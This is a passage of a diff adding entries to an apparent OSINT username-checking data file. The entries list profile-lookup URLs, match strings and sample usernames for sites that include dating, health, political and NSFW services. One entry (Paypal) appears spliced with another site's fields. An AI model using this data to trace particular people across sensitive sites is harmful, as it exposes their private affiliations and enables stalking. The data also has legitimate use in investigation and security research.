looking for isn't here.", + "m_code": 404, + "known": [ + "rbreich", + "stux" + ], + "cat": "social" + }, + { + "name": "Masto.nyc (Mastodon Instance)", + "uri_check": "https://masto.nyc/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://masto.nyc/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "seano", + "jayjay718" + ], + "cat": "social" + }, + { + "name": "Mastodon API", + "uri_check": "https://mastodon.social/api/v2/search?q={account}&limit=1&type=accounts", + "uri_pretty": "https://mastodon.social/api/v2/search?q={account}&type=accounts", + "e_code": 200, + "e_string": "display_name", + "m_string": "\"accounts\":[]", + "m_code": 404, + "known": [ + "Richard_Littler", + "webbreacher" + ], + "cat": "social" + }, + { + "name": "Mastodon-101010.pl", + "uri_check": "https://101010.pl/@{account}", + "e_code": 200, + "e_string": "@101010.pl", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "szekspir", + "xaphanpl" + ], + "cat": "social" + }, + { + "name": "Mastodon-C.IM", + "uri_check": "https://c.im/@{account}", + "e_code": 200, + "e_string": "@c.im) - C.IM", + "m_string": "The page you are looking for isn't here", + "m_code": 404, + "known": [ + "admin", + "paidugroup" + ], + "cat": "social" + }, + { + "name": "Mastodon-Chaos.social", + "uri_check": "https://chaos.social/@{account}", + "e_code": 200, + "e_string": "@chaos.social) - chaos.social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "dictvm", + "sml" + ], + "cat": "social" + }, + { + "name": "Mastodon-climatejustice.rocks", + "uri_check": "https://climatejustice.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://climatejustice.rocks/@{account}", + "e_code": 200, + "e_string": "username\":", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "paula", + "PaulaToThePeople" + ], + "cat": "social" + }, + { + "name": "Mastodon-Defcon", + "uri_check": "https://defcon.social/@{account}", + "e_code": 200, + "e_string": "- DEF CON Social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "defcon", + "buttersnatcher" + ], + "cat": "social" + }, + { + "name": "Mastodon-mastodon", + "uri_check": "https://mastodon.social/@{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "social" + }, + { + "name": "Mastodon-meow.social", + "uri_check": "https://meow.social/@{account}", + "e_code": 200, + "e_string": "- the mastodon instance for creatures fluffy, scaly and otherwise", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "meow", + "novra" + ], + "cat": "social" + }, + { + "name": "Mastodon-mstdn.io", + "uri_check": "https://mstdn.io/@{account}", + "e_code": 200, + "e_string": "@mstdn.io) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "mike", + "greg" + ], + "cat": "social" + }, + { + "name": "Mastodon-pol.social", + "uri_check": "https://pol.social/@{account}", + "e_code": 200, + "e_string": "@pol.social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "ftdl", + "ducensor" + ], + "cat": "social" + }, + { + "name": "Mastodon-rigcz.club", + "uri_check": "https://rigcz.club/@{account}", + "e_code": 200, + "e_string": "@rigcz.club", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "blazej", + "adam" + ], + "cat": "social" + }, + { + "name": "Mastodon-social_tchncs", + "uri_check": "https://social.tchncs.de/@{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you are looking for isn't here", + "m_code": 301, + "known": [ + "michael", + "frank" + ], + "cat": "social" + }, + { + "name": "Mastodon-Toot.Community", + "uri_check": "https://toot.community/@{account}", + "e_code": 200, + "e_string": "@toot.community) - toot.community", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "Johnny", + "jorijn" + ], + "cat": "social" + }, + { + "name": "Mastodon.online", + "uri_check": "https://mastodon.online/@{account}", + "e_code": 200, + "e_string": "@mastodon.online) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "Gargron", + "RDHale" + ], + "cat": "social" + }, + { + "name": "Mastodonbooks.net (Mastodon Instance)", + "uri_check": "https://mastodonbooks.net/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://mastodonbooks.net/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "RogerRemacle", + "eugnick" + ], + "cat": "social" + }, + { + "name": "MCName (Minecraft)", + "uri_check": "https://mcname.info/en/search?q={account}", + "e_code": 200, + "e_string": "card mb-3 text-monospace", + "m_string": "alert alert-success px-0 py-1", + "m_code": 200, + "known": [ + "unrevive", + "nxtuny" + ], + "cat": "gaming" + }, + { + "name": "MCUUID (Minecraft)", + "uri_check": "https://playerdb.co/api/player/minecraft/{account}", + "uri_pretty": "https://mcuuid.net/?q={account}", + "e_code": 200, + "e_string": "Successfully found player by given ID.", + "m_string": "minecraft.api_failure", + "m_code": 200, + "known": [ + "smithy", + "bob" + ], + "cat": "gaming" + }, + { + "name": "Medium", + "uri_check": "https://medium.com/@{account}/about", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Medium member since", + "m_string": "Out of nothing, something", + "m_code": 404, + "known": [ + "zulie", + "jessicalexicus" + ], + "cat": "news" + }, + { + "name": "medyczka.pl", + "uri_check": "http://medyczka.pl/user/{account}", + "e_code": 200, + "e_string": "Lista uzytkownikow", + "m_string": "This user has not registered and therefore does not have a profile to view.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "health" + }, + { + "name": "meet me", + "uri_check": "https://www.meetme.com/{account}", + "e_code": 200, + "e_string": "<title>Meet people like ", + "m_string": "<title>MeetMe - Chat and Meet New People</title", + "m_code": 302, + "known": [ + "john", + "marsha" + ], + "cat": "dating" + }, + { + "name": "Metacritic", + "uri_check": "https://www.metacritic.com/user/{account}/", + "e_code": 200, + "e_string": "class=\"c-pageProfile-wrapper\"", + "m_string": "class=\"c-error404\"", + "m_code": 404, + "known": [ + "Mcguy", + "goldzweig" + ], + "cat": "hobby" + }, + { + "name": "Minds", + "uri_check": "https://www.minds.com/api/v3/register/validate?username={account}", + "uri_pretty": "https://www.minds.com/{account}/", + "e_code": 200, + "e_string": "\"valid\":false", + "m_string": "\"valid\":true", + "m_code": 200, + "known": [ + "gigan996", + "mindsgaming" + ], + "cat": "social" + }, + { + "name": "Minecraft List", + "uri_check": "https://minecraftlist.com/players/{account}", + "e_code": 200, + "e_string": "-->was seen on<!--", + "m_string": "0 Minecraft servers recently", + "m_code": 200, + "known": [ + "fear837", + "dream" + ], + "cat": "gaming" + }, + { + "name": "mintme", + "uri_check": "https://www.mintme.com/token/{account}", + "e_code": 200, + "e_string": "token | mintMe", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "crypto" + ], + "cat": "finance" + }, + { + "name": "Mistrzowie", + "uri_check": "https://mistrzowie.org/user/{account}", + "e_code": 200, + "e_string": "Profil użytkownika", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Mix", + "uri_check": "https://mix.com/{account}/", + "e_code": 200, + "e_string": "<title>@", + "m_string": "The best content from the open web, personalized.", + "m_code": 302, + "known": [ + "test", + "mixpicks" + ], + "cat": "social" + }, + { + "name": "Mixcloud", + "uri_check": "https://api.mixcloud.com/{account}/", + "uri_pretty": "https://www.mixcloud.com/{account}/", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error\":", + "m_code": 404, + "known": [ + "DjHunnyBee", + "vegarecords" + ], + "cat": "music" + }, + { + "name": "Mixi", + "uri_check": "https://mixi.jp/view_community.pl?id={account}", + "e_code": 200, + "e_string": "| mixiコミュニティ", + "m_string": "データがありません", + "m_code": 200, + "known": [ + "2854333", + "19123" + ], + "cat": "social" + }, + { + "name": "Mixlr", + "uri_check": "https://api.mixlr.com/users/{account}", + "uri_pretty": "https://mixlr.com/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Resource not found\"", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "music" + }, + { + "name": "Mmorpg", + "uri_check": "https://forums.mmorpg.com/profile/{account}", + "e_code": 200, + "e_string": "MMORPG.com Forums", + "m_string": "404 Not Not_Found", + "m_code": 404, + "known": [ + "TheDalaiBomba", + "MadLovin" + ], + "cat": "gaming" + }, + { + "name": "MobileGTA.net", + "uri_check": "https://www.mobilegta.net/en/user/{account}", + "e_code": 200, + "e_string": "userpage_user", + "m_string": "

    404 Not Found", + "m_code": 200, + "known": [ + "daniel", + "franco" + ], + "cat": "gaming" + }, + { + "name": "Mod DB", + "uri_check": "https://www.moddb.com/html/scripts/autocomplete.php?a=username&q={account}", + "uri_pretty": "https://www.moddb.com/members/{account}", + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "sprinklesoup", + "emargy" + ], + "cat": "gaming" + }, + { + "name": "MODX.im", + "uri_check": "https://modx.evo.im/profile/{account}/", + "e_code": 200, + "e_string": "class=\"profile\"", + "m_string": "class=\"content-error\"", + "m_code": 404, + "known": [ + "Grinyaha", + "kymage" + ], + "cat": "tech" + }, + { + "name": "Monkeytype", + "uri_check": "https://api.monkeytype.com/users/{account}/profile", + "uri_pretty": "https://monkeytype.com/profile/{account}", + "e_code": 200, + "e_string": "\"message\":\"Profile retrieved\"", + "m_string": "\"message\":\"User not found\"", + "m_code": 404, + "known": [ + "rocket", + "risenrelic" + ], + "cat": "coding" + }, + { + "name": "Moto Trip", + "uri_check": "https://moto-trip.com/profil/{account}", + "e_code": 200, + "e_string": "

    Profil de ", + "m_string": "

    Page introuvable

    ", + "m_code": 404, + "known": [ + "aesthetics", + "pif" + ], + "cat": "hobby" + }, + { + "name": "Motokiller", + "uri_check": "https://mklr.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza materiały od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Moxfield", + "uri_check": "https://api2.moxfield.com/v1/users/{account}", + "uri_pretty": "https://www.moxfield.com/users/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "gamer", + "Carlos01" + ], + "cat": "gaming" + }, + { + "name": "mssg.me", + "uri_check": "https://{account}.mssg.me/", + "e_code": 200, + "e_string": "property=\"og:title\"", + "m_string": "id=\"page_404\"", + "m_code": 404, + "known": [ + "drrry", + "david" + ], + "cat": "social" + }, + { + "name": "Muck Rack", + "uri_check": "https://muckrack.com/{account}", + "e_code": 200, + "e_string": "on Muck Rack", + "m_string": "Oh no! Page not found.", + "m_code": 404, + "known": [ + "john" + ], + "cat": "news" + }, + { + "name": "Musician.social (Mastodon Instance)", + "uri_check": "https://musician.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://musician.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Alizar", + "weisjohan" + ], + "cat": "social" + }, + { + "name": "musictraveler", + "uri_check": "https://www.musictraveler.com/en/users/{account}/", + "e_code": 200, + "e_string": "on Music Traveler", + "m_string": "Page Not found", + "m_code": 404, + "known": [ + "dave", + "sarah" + ], + "cat": "music" + }, + { + "name": "MUYZORRAS", + "uri_check": "https://www.muyzorras.com/usuarios/{account}", + "e_code": 200, + "e_string": "og:title", + "m_string": "Error 404", + "m_code": 404, + "known": [ + "anuel", + "esteban" + ], + "cat": "xx NSFW xx" + }, + { + "name": "my_instants", + "uri_check": "https://www.myinstants.com/en/profile/{account}/", + "e_code": 200, + "e_string": " | Myinstants", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "daniel01", + "dave" + ], + "cat": "music" + }, + { + "name": "MyAnimeList", + "uri_check": "https://myanimelist.net/profile/{account}", + "e_code": 200, + "e_string": "Profile - MyAnimeList.net", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "social" + }, + { + "name": "MyBuilder.com", + "uri_check": "https://www.mybuilder.com/profile/view/{account}", + "e_code": 200, + "e_string": "feedback", + "m_string": "Whoops! You broke our site!", + "m_code": 404, + "known": [ + "blue", + "john" + ], + "cat": "social" + }, + { + "name": "MyFitnessPal Author", + "uri_check": "https://blog.myfitnesspal.com/author/{account}/", + "e_code": 200, + "e_string": "About the Author", + "m_string": "<title>Page not found ", + "m_code": 404, + "known": [ + "lauren-krouse", + "julia-malacoff" + ], + "cat": "health" + }, + { + "name": "MyFitnessPal Community", + "uri_check": "https://community.myfitnesspal.com/en/profile/{account}", + "e_code": 200, + "e_string": ">Last Active<", + "m_string": "User Not Found", + "m_code": 404, + "known": [ + "malibu927", + "L1zardQueen" + ], + "cat": "health" + }, + { + "name": "MyLot", + "uri_check": "https://www.mylot.com/{account}", + "e_code": 200, + "e_string": "on myLot", + "m_string": " / Whoops!", + "m_code": 404, + "known": [ + "Tampa_girl7" + ], + "cat": "social" + }, + { + "name": "MYM", + "uri_check": "https://mym.fans/{account}", + "e_code": 200, + "e_string": "class=\"page profile\"", + "m_string": "class=\"page page-404\"", + "m_code": 404, + "known": [ + "Unmissabl", + "Nicolasmauranmedium" + ], + "cat": "social" + }, + { + "name": "MyNickname", + "uri_check": "https://mynickname.com/en/search?q={account}", + "e_code": 200, + "e_string": "nickname found:

    ", + "m_string": "

    Nickname not found. Try searching for similar nicknames.

    ", + "m_code": 200, + "known": [ + "tw1st", + "0xDEFACED" + ], + "cat": "misc" + }, + { + "name": "myportfolio", + "uri_check": "https://{account}.myportfolio.com/work", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "class=\"page-title", + "m_string": "Adobe Portfolio | Build your own personalized website", + "m_code": 302, + "known": [ + "artkonina", + "fox" + ], + "cat": "misc" + }, + { + "name": "MySpace", + "uri_check": "https://myspace.com/{account}", + "e_code": 200, + "e_string": "", + "m_string": "", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "Myspreadshop", + "uri_check": "https://myspreadshop.de/{account}/shopData/list", + "uri_pretty": "https://{account}.myspreadshop.com", + "e_code": 200, + "e_string": "siteName", + "m_string": "not found", + "m_code": 404, + "known": [ + "arukori", + "honey" + ], + "cat": "business" + }, + { + "name": "myWishBoard", + "uri_check": "https://mywishboard.com/@{account}", + "e_code": 200, + "e_string": "class=\"MwbUserHeader\"", + "m_string": "class=\"MwbError\"", + "m_code": 404, + "known": [ + "ke7_2024", + "alekseevvasil" + ], + "cat": "shopping" + }, + { + "name": "naija_planet", + "uri_check": "https://naijaplanet.com/{account}", + "e_code": 200, + "e_string": "dating Profile, ", + "m_string": "- NaijaPlanet!", + "m_code": 200, + "known": [ + "daniel01", + "wales73" + ], + "cat": "dating" + }, + { + "name": "nairaland", + "uri_check": "https://www.nairaland.com/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "404: Page Not Found", + "m_code": 301, + "known": [ + "amakaone", + "seun" + ], + "cat": "news" + }, + { + "name": "NaturalNews", + "uri_check": "https://naturalnews.com/author/{account}/", + "e_code": 200, + "e_string": "All posts by", + "m_string": "The page you are looking for cannot be found or is no longer available.", + "m_code": 200, + "known": [ + "jdheyes", + "healthranger" + ], + "cat": "political" + }, + { + "name": "Naver", + "uri_check": "https://blog.naver.com/{account}", + "e_code": 200, + "e_string": " : 네이버 블로그", + "m_string": "페이지를 찾을 수 없습니다", + "m_code": 500, + "known": [ + "bob", + "blue" + ], + "cat": "social" + }, + { + "name": "Neocities", + "uri_check": "https://neocities.org/site/{account}", + "e_code": 200, + "e_string": "noindex, follow", + "m_string": "- Not Found", + "m_code": 404, + "known": [ + "fauux", + "sadgrl" + ], + "cat": "social" + }, + { + "name": "netvibes", + "uri_check": "https://www.netvibes.com/{account}", + "e_code": 200, + "e_string": "userId", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "nebkacrea", + "cdiljda" + ], + "cat": "social" + }, + { + "name": "Newgrounds", + "uri_check": "https://{account}.newgrounds.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "user-header-name", + "m_string": "Whoops, that's a swing and a miss!", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "gaming" + }, + { + "name": "newmeet", + "uri_check": "https://www.newmeet.com/en/profile/{account}/", + "e_code": 200, + "e_string": "

    The profile of", + "m_string": "Chat with , , , - ", + "m_code": 200, + "known": [ + "Harmonie06", + "Bach007" + ], + "cat": "dating" + }, + { + "name": "Nifty Gateway", + "uri_check": "https://api.niftygateway.com/user/profile-and-offchain-nifties-by-url/?profile_url={account}", + "uri_pretty": "https://www.niftygateway.com/profile/{account}/", + "e_code": 200, + "e_string": ""didSucceed": true", + "m_string": ""didSucceed": false", + "m_code": 400, + "known": [ + "kobej", + "exolorian" + ], + "cat": "social" + }, + { + "name": "Nightbot", + "uri_check": "https://api.nightbot.tv/1/channels/t/{account}", + "uri_pretty": "https://nightbot.tv/t/{account}/commands", + "e_code": 200, + "e_string": "\"status\":200", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "saevid", + "proxyfox" + ], + "cat": "social" + }, + { + "name": "nihbuatjajan", + "uri_check": "https://www.nihbuatjajan.com/{account}", + "e_code": 200, + "e_string": ") | Nih buat jajan", + "m_string": "Nih Buat Jajan", + "m_code": 302, + "known": [ + "banyusadewa", + "danirachmat" + ], + "cat": "social" + }, + { + "name": "Nitecrew (Mastodon Instance)", + "uri_check": "https://nitecrew.rip/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://nitecrew.rip/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Myxx", + "honey" + ], + "cat": "social" + }, + { + "name": "nnru", + "uri_check": "https://{account}.www.nn.ru", + "strip_bad_char": ".", + "e_code": 200, + "e_string": " ", + "m_string": "<title>Ошибка 404 -", + "m_code": 404, + "known": [ + "lena", + "slava" + ], + "cat": "social" + }, + { + "name": "NotABug", + "uri_check": "https://notabug.org/{account}", + "e_code": 200, + "e_string": "class=\"user profile\"", + "m_string": "alt=\"404\"", + "m_code": 404, + "known": [ + "notabug", + "hp", + "zPlus" + ], + "cat": "coding" + }, + { + "name": "Note", + "uri_check": "https://note.com/{account}", + "e_code": 200, + "e_string": "フォロワー", + "m_string": "お探しのページが見つかりません。", + "m_code": 404, + "known": [ + "honey", + "yui" + ], + "cat": "social" + }, + { + "name": "npm", + "uri_check": "https://www.npmjs.com/~{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "<h1>not found</h1>", + "m_code": 404, + "known": [ + "npm", + "rich_harris" + ], + "cat": "coding" + }, + { + "name": "oglaszamy24h.pl", + "uri_check": "https://oglaszamy24h.pl/profil,{account}", + "e_code": 200, + "e_string": "Profil użytkownika:", + "m_string": "Nieprawidłowy link, w bazie danych nie istnieje użytkownik o podanym loginie", + "m_code": 404, + "known": [ + "kowal", + "janek" + ], + "cat": "shopping" + }, + { + "name": "ok.ru", + "uri_check": "https://ok.ru/{account}", + "e_code": 200, + "e_string": "| OK", + "m_string": "class=\"p404_t", + "m_code": 404, + "known": [ + "john", + "aleksandrvasillev" + ], + "cat": "social" + }, + { + "name": "okidoki", + "uri_check": "https://m.okidoki.ee/ru/users/{account}/", + "e_code": 200, + "e_string": "Пользователь", + "m_string": "Страница не найдена", + "m_code": 404, + "known": [ + "nastya3", + "nastya" + ], + "cat": "misc" + }, + { + "name": "omg.lol", + "uri_check": "https://api.omg.lol/address/{account}/info", + "uri_pretty": "https://{account}.omg.lol", + "strip_bad_char": "@.", + "e_code": 200, + "e_string": "\"success\": true", + "m_string": "\"success\": false", + "m_code": 200, + "known": [ + "cwa", + "adam" + ], + "cat": "social" + }, + { + "name": "OnlySearch (OnlyFans)", + "uri_check": "https://onlysearch.co/api/search?keyword={account}", + "uri_pretty": "https://onlysearch.co/profiles?keyword={account}", + "e_code": 200, + "e_string": "\"hits\":[{", + "m_string": "\"hits\":[]", + "m_code": 200, + "known": [ + "miaimani", + "milaamour" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Opencollective", + "uri_check": "https://opencollective.com/{account}", + "e_code": 200, + "e_string": "- Open Collective", + "m_string": "Not Found", + "m_code": 200, + "known": [ + "john", + "bob" + ], + "cat": "finance" + }, + { + "name": "OpenSource", + "uri_check": "https://opensource.com/users/{account}", + "e_code": 200, + "e_string": "\"contentID\":", + "m_string": "\"errorCode\": \"404\"", + "m_code": 404, + "known": [ + "wuweijie", + "alansmithee" + ], + "cat": "tech" + }, + { + "name": "OpenStreetMap", + "uri_check": "https://www.openstreetmap.org/user/{account}", + "e_code": 200, + "e_string": "Mapper since:", + "m_string": "does not exist", + "m_code": 404, + "known": [ + "kemkim", + "MapmasterBit" + ], + "cat": "social" + }, + { + "name": "OpenStreetMap Wiki", + "uri_check": "https://wiki.openstreetmap.org/w/api.php?action=query&format=json&list=users&ususers={account}", + "uri_pretty": "https://wiki.openstreetmap.org/wiki/User:{account}", + "e_code": 200, + "e_string": "\"userid\":", + "m_string": "\"missing\":\"\"", + "m_code": 200, + "known": [ + "kemkim", + "john" + ], + "cat": "social" + }, + { + "name": "Oper.ru", + "uri_check": "https://oper.ru/visitors/info.php?t={account}", + "e_code": 200, + "e_string": "Информация о пользователе", + "m_string": "Нет такого пользователя", + "m_code": 200, + "known": [ + "Goblin", + "Баир Иринчеев" + ], + "cat": "tech" + }, + { + "name": "OPGG", + "uri_check": "https://eune.op.gg/summoners/eune/{account}", + "e_code": 200, + "e_string": "- Summoner Stats - League of Legends", + "m_string": "Guide - OP.GG", + "m_code": 200, + "known": [ + "xin", + "carlos01" + ], + "cat": "gaming" + }, + { + "name": "Orbys", + "uri_check": "https://orbys.net/{account}", + "e_code": 200, + "e_string": "profile_user_image", + "m_string": "The page you are looking for cannot be found.", + "m_code": 404, + "known": [ + "txmustang302" + ], + "cat": "social" + }, + { + "name": "Origins.Habbo.com", + "uri_check": "https://origins.habbo.com/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "john", + "jane" + ], + "cat": "gaming" + }, + { + "name": "Origins.Habbo.com.br", + "uri_check": "https://origins.habbo.com.br/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "carlos", + "pedro" + ], + "cat": "gaming" + }, + { + "name": "Origins.Habbo.es", + "uri_check": "https://origins.habbo.es/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "carlos", + "mary" + ], + "cat": "gaming" + }, + { + "name": "osu!", + "uri_check": "https://osu.ppy.sh/users/{account}", + "e_code": 302, + "e_string": "", + "m_string": "User not found! ;_;", + "m_code": 404, + "known": [ + "stretches", + "spiken8" + ], + "cat": "gaming" + }, + { + "name": "Our Freedom Book", + "uri_check": "https://www.ourfreedombook.com/{account}", + "e_code": 200, + "e_string": "meta property=\"og:", + "m_string": "Sorry, page not found", + "m_code": 302, + "known": [ + "DaveLipsky", + "StarlaJene" + ], + "cat": "social" + }, + { + "name": "ow.ly", + "uri_check": "http://ow.ly/user/{account}", + "e_code": 200, + "e_string": "Images", + "m_string": "404 error", + "m_code": 404, + "known": [ + "StopAdMedia", + "jokervendetti" + ], + "cat": "social" + }, + { + "name": "palnet", + "uri_check": "https://www.palnet.io/@{account}/", + "e_code": 200, + "e_string": "class=\"profile-cover\"", + "m_string": "Unknown user account!", + "m_code": 404, + "known": [ + "trincowski-pt", + "anggreklestari" + ], + "cat": "social" + }, + { + "name": "Parler", + "uri_check": "https://parler.com/user/{account}", + "e_code": 200, + "e_string": "People to Follow", + "m_string": "join Parler today", + "m_code": 302, + "known": [ + "DineshDsouza", + "SeanHannity" + ], + "cat": "social" + }, + { + "name": "Parler archived posts", + "uri_check": "http://archive.org/wayback/available?url=https://parler.com/profile/{account}/posts", + "uri_pretty": "https://web.archive.org/web/2/https://parler.com/profile/{account}/posts", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "JoePags", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Parler archived profile", + "uri_check": "http://archive.org/wayback/available?url=https://parler.com/profile/{account}", + "uri_pretty": "https://web.archive.org/web/2/https://parler.com/profile/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "JoePags", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Pastebin", + "uri_check": "https://pastebin.com/u/{account}", + "e_code": 200, + "e_string": "class=\"user-view\"", + "m_string": "Not Found (#404)", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "tech" + }, + { + "name": "patch", + "uri_check": "https://patch.com/users/{account}", + "e_code": 200, + "e_string": "<title>Patch User Profile", + "m_string": "<title>Page not found", + "m_code": 404, + "known": [ + "dave", + "bob" + ], + "cat": "news" + }, + { + "name": "PatientsLikeMe", + "uri_check": "https://www.patientslikeme.com/members/{account}", + "e_code": 200, + "e_string": "s profile | PatientsLikeMe", + "m_string": "", + "m_code": 302, + "known": [ + "thjuland", + "Pedro0703", + "Hydropioneer" + ], + "cat": "health" + }, + { + "name": "Patreon", + "uri_check": "https://www.patreon.com/{account}", + "e_code": 200, + "e_string": "full_name\":", + "m_string": "errorCode\": 404,", + "m_code": 404, + "known": [ + "mubix", + "doughboys" + ], + "cat": "finance" + }, + { + "name": "Patriots Win", + "uri_check": "https://patriots.win/u/{account}/", + "e_code": 200, + "e_string": "nav-user active register", + "m_string": "An error occurred", + "m_code": 500, + "known": [ + "r3deleven", + "MemeFactory" + ], + "cat": "political" + }, + { + "name": "Patronite", + "uri_check": "https://patronite.pl/{account}", + "e_code": 200, + "e_string": "Zostań Patronem", + "m_string": "Nie znaleźliśmy strony której szukasz.", + "m_code": 404, + "known": [ + "radio357", + "radionowyswiat" + ], + "cat": "finance" + }, + { + "name": "Paypal", + "uri_check": "https://www.paypal.com/paypalme/{account}", + "e_code": 200, + "e_string": "userInfo", + "m_string": "PayPal.MeFollowers", + "m_string": "Sorry, this page doesn’t exist", + "m_code": 404, + "known": [ + "john", + "test" + ], + "cat": "video" + }, + { + "name": "Pewex", + "uri_check": "https://retro.pewex.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza eksponaty od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "ania" + ], + "cat": "misc" + }, + { + "name": "Picsart", + "uri_check": "https://api.picsart.com/users/show/{account}.json", + "uri_pretty": "https://picsart.com/u/{account}", + "e_code": 200, + "e_string": "\"status\":\"success\"", + "m_string": "\"status\":\"error\"", + "m_code": 200, + "known": [ + "john", + "john404" + ], + "cat": "art" + }, + { + "name": "Piekielni", + "uri_check": "https://piekielni.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza historie od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "misc" + }, + { + "name": "Pikabu", + "uri_check": "https://pikabu.ru/ajax.php", + "uri_pretty": "https://pikabu.ru/@{account}", + "post_body": "route=signup/check-username&username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"result\":false", + "m_string": "\"result\":true", + "m_code": 200, + "known": [ + "igor01", + "serguei" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Pillowfort", + "uri_check": "https://www.pillowfort.social/{account}/json/?p=1", + "uri_pretty": "https://www.pillowfort.social/{account}", + "e_code": 200, + "e_string": "\"posts\":", + "m_string": "(404)", + "m_code": 404, + "known": [ + "MissMoonified", + "lunasdestiny" + ], + "cat": "social" + }, + { + "name": "PinkBike", + "uri_check": "https://www.pinkbike.com/u/{account}/", + "e_code": 200, + "e_string": "on Pinkbike", + "m_string": "I couldn't find the page you were looking for", + "m_code": 404, + "known": [ + "whistlermountainbikepark", + "paulhanson" + ], + "cat": "hobby" + }, + { + "name": "Pinterest", + "uri_check": "https://www.pinterest.com/{account}/", + "e_code": 200, + "e_string": " - Profile | Pinterest", + "m_string": "id=\"home-main-title", + "m_code": 301, + "known": [ + "test123", + "frickcollection" + ], + "cat": "social" + }, + { + "name": "pixelfed.social", + "uri_check": "https://pixelfed.social/{account}", + "e_code": 200, + "e_string": "on pixelfed", + "m_string": "pixelfed", + "m_code": 404, + "known": [ + "sarah", + "john" + ], + "cat": "social" + }, + { + "name": "Playstation Network", + "uri_check": "https://psnprofiles.com/xhr/search/users?q={account}", + "uri_pretty": "https://psnprofiles.com/{account}", + "e_code": 200, + "e_string": "
